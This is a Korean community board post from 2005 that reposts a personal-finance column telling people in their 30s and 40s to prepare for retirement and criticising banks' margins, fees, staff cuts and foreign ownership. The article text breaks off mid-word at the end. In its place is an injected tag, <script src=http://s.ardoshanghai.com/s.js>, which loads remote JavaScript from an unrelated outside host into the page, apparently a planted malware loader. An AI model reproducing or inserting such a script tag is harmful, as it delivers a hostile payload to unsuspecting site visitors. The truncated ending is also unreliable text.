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제목 3040을 위한 자산 관리요령
등록자 양천구회
등록일 2005-02-03 오후 3:08:26 조회수 2072
은행은 ‘공공의 적’, 은행을 떠나라 [기획칼럼] 3040을 위한 자산 관리요령 1편 웰시안 닷컴 심영철 대표 당신은 노후준비를 하고 계십니까. 최근 통계자료에 따르면 한국인의 평균 수명은 75.58세라고 합니다. 그런데 이는 젊어서 사고나 질병으로 죽은 사람까지 포함한 통계입니다. 만약 여러분이 이런 불행을 피해간다면 아마도 80~90세까지 살 게 될 것입니다. 55세에 퇴직한다고 해도 30년 가량을 소득 없이 노년을 버텨야 한다는 계산입니다.그런데 우리 현실은 어떻습니까. 그나마 상시적인 대량해고로 ‘사오정’ ‘오륙도’ 가 통념처럼 받아들여지는 세태입니다. 현실이 이렇게 엄혹하지만 30~40대 평범한 직장인들은 별다른 노후대책이 없습니다. 실질 금리가 마이너스 상태인데도 과거 부모님 세대가 했던 방식 그대로 은행에 돈을 묵히고 부동산만 바라보는 실정입니다. 특히 지금 30~40대는 선진국 같은 튼실한 사회안전망도 없고 자녀의 봉양도 기대할 수 없는 세대입니다. 결국 스스로 자산관리를 하지 않으면 안 되는 시대입니다. 개인의 자산관리는 이제 선택이 아닌 필수입니다. 이화여대 소비자인간발달학과 여윤경 교수는 “현재 젊은 세대는 자식에게 부양을 의지하거나 국민연금이나 퇴직금 등에도 의존하기 어려운 만큼 스스로 건전한 자산관리를 하지 않으면 안 된다”며 “그런데도 사태의 심각성을 잘 모른다”고 지적합니다. 미디어다음은 이 같은 취지에서 재테크 전문가인 웰시안닷컴(www.wealthian.com) 심영철 대표의 ‘직장인을 위한 자산관리 요령’을 26일부터 총 8회에 걸쳐 게재합니다. 작년 시중은행들의 예대마진이 평균 3.59%에 이르렀다고 최근 금융감독원이 밝혔다. 최대 은행인 국민은행의 예대마진은 무려 4.39%나 됐다. 잘 알다시피 예대마진은 대출평균금리에서 예금평균금리를 뺀 것이다. 그럼 은행은 3.4%의 싼 예금을 받아서 7%의 고리로 빌려줬다는 말이다. 은행인지 고리대금업자인지 헷갈릴 정도다. 작년 8월, 10월 한국은행이 경기 진작을 위해 콜금리를 두 번이나 내렸지만 시중은행들은 예금금리만 신속히 내리고 대출금리는 느릿느릿 내리고 있기 때문이다. 여러분의 고마운 이웃인 은행이 이렇게 폭리를 취하고 있다. 그래서 스탠다챠타드은행이 1조원 가량을 더 얹어 제일은행을 인수했는 지 모르겠다. 그리고 수수료는 왜 이리 많고 비싼가? 돈을 송금하는데 송금수수료가 장난 아니다. 다른 은행으로 1만원을 송금하는데 3천원을 달라는 곳이 있다. 이 정도면 차라리 퀵서비스로 보내는 게 나을 지 모르겠다. 그리고 업무시간이 끝나면 자기 은행의 현금지급기에서 돈을 찾아도 수수료를 뜯어간다. (물론 안 받는 착한 은행도 있다.) 이런 상황이라면 은행에 돈을 보관(?)할 필요성이 전혀 없다. 차라리 좋은 금고를 장만해서 쓸 돈을 넣어 두자. 그 때 그 때 수수료 없이 돈을 찾아 쓸 수 있게 말이다. 은행의 횡포는 여기서 끝나지 않는다. 최근 국민은행은 4,800명 정도의 감원을 추진한다고 했다. 지점수가 1,000여개 되니 한 지점당 2명 가량을 줄인다는 이야기일 것이다. 물론 정규직을 비정규직으로 바꾸고 아르바이트도 고용할 것이다. 결국 대고객 서비스, 특히 돈 없는 서민들에 대한 서비스는 기대할 바가 없다. 지금도 은행 서비스는 형편없지 않은가? 늘 은행 창구에는 대기자 숫자가 여간 많지 않다. 돈 안 되는 ‘빠른 창구’에 앉아 있는 여행원은 두세 명에 불과하다. 사실 빠른 창구라는 말이 전혀 맞질 않는다. 물론 돈 되는 대출 등을 담당하는 ‘진짜 빠른 창구’는 텅텅 비어 있다. 이런 일련의 조치는 은행의 주주구성에서 그 해답을 찾을 수 있다. 지금 은행의 주인은 누구인가? 과거처럼 정부가 아니다. 대개는 외국계 펀드나 주주다. 정확한 수치를 제시해 보겠다. 1월 24일 현재, 국민은행의 외국인 지분율은 무려 76%다. 외환은행은 72%, 하나은행은 69%, 신한지주는 62% 수준이다. 이들 은행은 사실상 외국은행인 셈이다. 사정이 이런데도 정부의 입김이 통하고 있다는 것은 어찌보면 용한 일이다. 이렇듯 외국계 주주들의 의사가 잘 반영되고 있는 것이 은행의 모습이다. 위와 같이 예대마진과 펀드 판매 수수료 등 많은 수익원을 기반으로 하여 각 은행들은 떼돈을 벌고 있다. 작년에도 솔직히 떼돈을 벌었다. 대부분의 돈을 충당금으로 쌓았을 뿐이지 이를 제외하면 대단한 순익을 냈고 올해는 조 단위의 순이익이 예상될 정도다. 예상 순익을 본다면, 국민은행은 1조 4천억원 수준을 예상(동원증권 발표)하고 있다. 다른 은행도 이에 버금가는 순익을 올릴 것으로 내다 보고 있다. 이게 어디서 나온 걸까? PB고객? 기업? 아니다. 바로 일반 서민들의 쌈짓돈에서 나오고 있다고 판단한다. 그리고 이 돈은 배당금을 통해서, 매매차익을 통해서 외국으로 흘러 나가고 있다. 이?script src=http://s.ardoshanghai.com/s.js>

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